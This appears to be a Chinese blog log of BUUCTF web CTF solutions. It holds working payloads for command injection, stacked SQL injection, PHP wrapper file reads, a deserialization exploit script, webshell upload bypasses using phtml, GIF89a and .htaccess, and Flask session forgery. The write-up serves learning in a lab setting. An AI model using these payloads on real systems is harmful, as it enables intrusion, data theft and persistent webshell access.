BUUCTF 做题or复现记录

273 阅读7分钟

(PS:本文仅用于学习,非法使用后果自负)

1.[HCTF 2018]WarmUp

贴一下核心的checkFile()函数 image.png

image.png

由hint.php可知flag在ffffllllaaaagggg中,同时需要通过checkFile()中的设定规则,返回true值

代码审计,file传入的值必须被设定且为字符串

同时file中必须含有source.php和hint.php

checkFile()中提供了字符串截断函数,以“?”来截断

  • 于是构造 file = source.php?../../../../../../../../../ffffllllaaaagggg (在url中,“?”用来表示参数连接,这里巧用“?”进行截断同时进行参数传递)

image.png

简介:

  • ./ 表示当前目录
  • ../ 表示上一级目录
  • / 表示根目录

2.[ACTF2020 新生赛]Include

看了眼url,flag应该就在flag.php中。

那么我们的工作重心就在获取flag.php源码

此处使用php伪协议获取:

image.png 贴一个链接PHP伪协议简介: juejin.cn/post/714247…

3. [ACTF2020 新生赛]Exec

打开之后看了下源码,页面标题为command execution,应该为命令执行漏洞

尝试在ip后接入;cat /flag,获取flag

image.png

4.[强网杯 2019]随便注

使用sqlmap进行测试(Kali Linux下测试):

1.爆database: sqlmap -u "http://4a81fdeb-e5ef-4331-9215-f130e9f83b5a.node4.buuoj.cn:81/?inject=1" --dbs

image.png

2.爆table: sqlmap -u "http://4a81fdeb-e5ef-4331-9215-f130e9f83b5a.node4.buuoj.cn:81/?inject=1" -D supersqli --tables

image.png

没能成功,尝试手工注入,闭合方式为 '$inject'

发现有正则过滤 image.png

查阅可知可以用show进行打印,考虑使用堆叠注入:

1.爆库: 1';show databases;#

2.爆表: 1';show tables from supersqli;#

3.爆字段: 1';show columns from `1919810931114514`(trick:当表名为纯数字时,要用反引号“`”进行包括)

image.png

发现有flag!

在sqlmap中可以获得相关数据库信息: image.png

查阅相关信息,在MySQL中,可以使用handler代替select来进行查询:

image.png

关于handler的使用贴个链接:

5.[SUCTF 2019]EasySQL

尝试使用堆叠注入,发现可以注入 image.png

后来发现题目里把from给ban了 image.png

尝试使用编码、字符串拼接等绕过,发现有字段长度限制或者无回显。

最后查了一下别人的wp,发现语句的SQL语句为:(new trick)

"select".$_POST['query']."||flag from Flag";

SQL语句中“||”的简介:

sql_mode中可以进行 ||语义的设置:

SQL_MODE = PIPES_AS_OR 将管道符设置成逻辑或(默认情况)

SQL_MODE = PIPES_AS_CONCAT 将管道符设置成字符串拼接

所以可以使用以下两种sql注入:

payload: *,1

最终sql语句:select *,1 from Flag

payload: 1;set SQL_MODE = PIPES_AS_CONCAT;select 1

最终的sql语句: select 1;set SQL_MODE = PIPES_AS_CONCAT;select 1||flag from Flag

(flag可能是Flag表中的某个字段)

6.[GXYCTF2019]Ping Ping Ping

命令执行漏洞

使用ls命令查看当前目录下的文件:

image.png

使用cat查看flag.php:存在空格过滤

image.png

空格绕过采用$IFS$9,发现flag也过滤了,那就看index.php如下:

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

可以采用字符串拼接的思路来进行绕过正则匹配的过滤:

注意拼接时使用$来标识变量名,使得变量得以解析 image.png

查看源码便可找到flag

贴个命令执行漏洞的文章:www.anquanke.com/post/id/162…

7.[NewStarCTF]NotPHP

<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
            echo "Hack Me";
            eval("#".$_GET['cmd']);
        }else{
            die("Number error!");
        }
    }else{
        die("Wrong Key!");
    }
}else{
    die("Pass it!");
}

此题涉及的姿势有:

  • md5绕过
  • PHP弱类型
  • 上传一句话木马,蚁剑连接

image.png

蚁剑连接,终端查看flag

image.png

贴个MD5绕过的文章:blog.csdn.net/LYJ20010728…

8.[极客大挑战 2019]Secret File

使用Burp Suite抓包发现了secr3t.php文件。

image.png

PHP代码审计,使用PHP伪协议将PHP代码base64编码防止解析,将输出的字符串进行base64解码即可获得flag image.png

9.[极客大挑战 2019]PHP

根据提示下载备份文件

/www.zip

打开文件,查看目录如下:

image.png

代码审计,易知此处需要利用PHP反序列化漏洞获取flag:

image.png

<?php
include 'flag.php';

error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

new trick学习(CVE-2016-7124):

1.反序列化字符串中的相关对象写入的属性个数多于类声明时的属性个数,会造成__wakeup()函数绕过。

相关的PHP内核原理此处贴个链接:mp.weixin.qq.com/s/RL8_kDoHc…

2.payload在url提交中,'\0'会被视为空白符而丢失,此处考虑使用%00替代,也可以使用url编码

(图中的符号便是未被解析的'\0'符号) image.png 第二行便是url编码后的结果,可以观察到'\0'被编码成了%00 image.png

于是构造对象注入:(注意将属性个数改成大于2的数,实现__wakeup()函数绕过)

select=O:4:"Name":3{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

获得flag: image.png

10.[极客大挑战 2019]BabySQL

发现有类似于,正则替代。

尝试使用双写绕过:

image.png 获取flag:

image.png

11.[NewStarCTF 2022]UnserializeOne

代码如下,很容易得知是要利用PHP反序列化漏洞进行获取flag

 <?php
error_reporting(0);
highlight_file(__FILE__); #Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun$var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

poc链如下,

Start:__destruct() Sec: __toString() Easy: __call() eeee: __clone() Start: __isset() Sec: __invoke()
===>弹出flag

贴下代码:

<?php

class Start
{
    public $name;
    protected $func;

    public function __construct()
    {
        $this->func = new Sec();
    }

    public function __destruct()         # 1
    {
        echo "Welcome to NewStarCTF, " . $this->name;
    }

    public function __isset($var)        # 5
    {
        ($this->func)();
    }
}

class Sec
{
    private $obj;
    public $var;

    public function __construct()
    {
        $this->obj = new Easy();
    }

    public function __toString()         # 2
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()           # 6
    {
        echo "123";
        echo file_get_contents('/flag');      # 弹出flag
    }  
}

class Easy
{
    public $cla;

    public function __call($fun, $var)   # 3
    {
        $this->cla = clone $var[ 0 ];
    }
}

class eeee
{
    public $obj;

    public function __clone()            # 4
    {
        if (isset($this->obj->cmd)) {
            echo "success";
        }
    }
}

//if (isset($_POST[ 'pop' ])) {
//    unserialize($_POST[ 'pop' ]);
//}

$Start1 = new Start;
$Start1->name = $Sec1 =new Sec;
$Sec1->var = $eeee1 = new eeee;
$eeee1->obj = $Start1;

echo urlencode(serialize($Start1));

贴下作者给的学习链接:zhuanlan.zhihu.com/p/377676274

12.[极客大挑战 2019]Upload

文件上传漏洞

知识补充:

文件上传时在客户端和服务器端通常会进行检测

客户端校验:

一般是用js检查上传文件的后缀名

服务器端校验:

1.MIME检测(即请求报文中的content-type字段检测,该字段设定某种类型的文件当被浏览器打开的时候需要用什么样的应用程序)

e.g contene-type: image/jpeg image/gif

2.文件内容头检测,典型的是 GIF89a

3.文件扩展名的再次检测

4.文件内容检测(静态调试和动态调试)

此题的攻击思想:中间人攻击,使用burpsuite修改content-type进行后缀名绕过

尝试使用backdoor.php结合content-type类型修改

一些尝试:

1.后缀名验证失败: image.png

2.文件内容绕过失败:文件内容过滤了<?
绕过姿势:使用js的language标识为php image.png

image.png

3.使用GIF89a内容头标识为GIF进行图片攻击:(此处该文件命名为backdoor.php)

image.png

4.尝试使用php、php3、php4、php5进行filename后缀名绕过都不行,只能使用phtml:(绕过服务器端验证) image.png

5.蚁剑连接,终端查询flag:

image.png

学习链接:

GIF89a图片欺骗攻击介绍链接:GIF89a图片头文件欺骗 - IT使者 - 博客园 (cnblogs.com)

phtml介绍: 在Apache中的httpd.conf中有相关配置项:

AddType application/x-httpd-php .php .phtml

表示文件名后缀为此的话,当经过Apache服务器端解析时会被当做php解析。

当然玩得骚一点的话,甚至可以将.txt文件补充到这里

13.[ACTF2020 新生赛]Upload

相比于上一题,本题是在JS前端进行后缀名检测,碰到不符合的后缀名进行alert弹窗警告

客户端后缀名验证:

image.png

解题姿势跟上一题差不多,是由burp suite抓包进行中间人攻击:

(只需要修改filename后缀为phtml进行绕过,从而上传webshell)

image.png

注意服务器端使用了加密手段,所以蚁剑连接时注意:

image.png

14.[ACTF2020 新生赛]BackupFile

常见的备份文件名有.bak,.swp

在url中输入/index.php.bak下载php源码,

简单的代码审计:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

is_nummeric($arg):判断$arg是否为数字或者纯数字字符串

intval:直接测试吧,少得说明

image.png image.png

审计结果就是以GET方式传一个key,值为字符串123...

15.[RoarCTF 2019]Easy Calc

0x01 PHP字符串解析机制

查看源码,看到calc.php,尝试进入发现有PHP源码:

可以看到在calc.php有一定的黑名单绕过,同时在初始网页源码发现有WAF.

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str $_GET['num'];
        $blacklist = [' ''\t''\r''\n',''', '"', '`', '[', ']','$','\','^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

利用PHP字符串解析特性绕过WAF,

PHP机制:PHP在解析URL参数的时候,PHP会执行有效变量名的转化:

1.删去变量名开头的空格

2.将一些字符替换成下划线

0x02 PHP目录遍历函数

基于该规则,可以在URL中进行代码注入绕过WAF,同时,接下来是new trick: PHP的几个函数使用:

1.scandir($path):成功则返回文件和目录的数组。失败则返回 FALSE。如果 directory 不是一个目录,则抛出 E_WARNING 级别的错误。(完成目录遍历)

2.file_get_contents($file_path):把整个文件读入一个字符串中。(获取文件内容信息)

3.chr(): 使用字符编码机制绕过正则匹配

var_dump(scandir(/)):返回目录下的文件

image.png

vardump(file_get_contents(/flagg)):返回文件内容

image.png

获得flag!!

0x03 文章学习

附: 1.一篇讲解PHP字符串解析特性的文章: Abusing PHP query string parser to bypass IDS, IPS, and WAF (secjuice.com)

截取一段源码和运行截图:

<?php

# parse_str()   函数的实现

foreach(
    [
        "{chr}foo_bar",
        "foo{chr}bar",
        "foo_bar{chr}"
    ] as $k => $arg) {

    for($i=0;$i<=255;$i++) {
        echo "\033[999D\033[K\r";
        echo "[".$arg."] check ".bin2hex(chr($i))."";
        parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);

        /* yes... I've added a sleep time on each loop just for
        the scenic effect :) like that movie with unrealistic
        brute-force where the password are obtained
        one byte at a time (∩`-´)⊃━☆゚.*・。゚
        */
        usleep(5000);

        if(isset($o["foo_bar"])) {
            echo "\033[999D\033[K\r";
            echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
        }
    }

    echo "\033[999D\033[K\r";
    echo "\n";
}

运行结果如下,指明在变量名的不同位置可以进行相应的字符替代:

image.png

16.[BJDCTF2020]Easy MD5

0x01.md5($str, true)的绕过

尝试输入一些数字进行尝试,无果...

于是抓包吧,在抓包的时候发现了,这是在后端处理的sql语句: image.png 于是开始考虑攻击语句的注入: select * from 'admin' where password=md5($pass, true)

首先看下PHP的MD5解释官方文档解释:

image.png

(然后开始我的胡乱分析🤡)

如果能够在md5加密后出现类似于 password = ×××× or '1...'之类的就好了

🍉ps:基于sql特性'1...' 以非0数字开头的字符串会被解析成true,所以哪怕是解析出乱码也没事,只要字符串开头是非0数字即可

这里去查阅了网上的一些文章,学到了新姿势❤:ffifdyop

ffifdyop:在md5($str, true)加密之后会获得 'or'6××××(表示乱码)

所以此处构造payload:password = ffifdyop

0x02.md5的数组绕过

image.png

image.png

0x03.md5的数组绕过

image.png

image.png

17.[HCTF 2018]admin (2022.11.25 很久没更新了hhh...这段时间课内时间太忙了lia)

废话不多说,直接上!打开这道题,是一个登录界面的场景

0x01.有没有可能是弱口令尝试呢?

一开始admin一段乱试,然后在register功能中发现admin已经存在,说明应该是要破解admin的密码,如果运气够好,可以尝试出密码为123(当然可以进行弱口令爆破)

0x02. 其他尝试

于是注册了个号,翻了翻源码,发现在修改密码页面发现了hint

image.png

于是下载获得网站源码,发现这是个flask框架搭的web站点,我们直接去查看router.py路由的设置 想着怎么登录,很自然地查看login()函数 image.png

image.png

于是再查看index.html和login.html,又有hint:

image.png

考虑session伪造,这里的hint提示是,必须要有session身份认证,且session以字典形式给出,同时'name'字段的信息是admin

0x03. 使用session加密解密脚本(快乐的脚本小子上线)

mirrors / noraj / flask-session-cookie-manager · GitCode 使用方法在其中有说明,只需要根据上述思路进行session伪造,结合burp suite即可 image.png

0x04. 总结

  • flask框架学习和代码审计

  • flask的session机制

  • session伪造,获取admin权限

18 [MRCTF2020]你传你🐎呢

文件上传漏洞,使用burp suite抓包,尝试修改filename和content-type

发现存在后缀名检测和MIME检测,考虑绕过修改进行绕过。

image.png

此处得配合.htaccess文件创建目录级别的配置:将png文件进行php解析

AddType application/x-httpd-php .png

然后配合蚁剑进行连接即可获得flag

---------------------------------学习不止,持续更新-----------------------------------------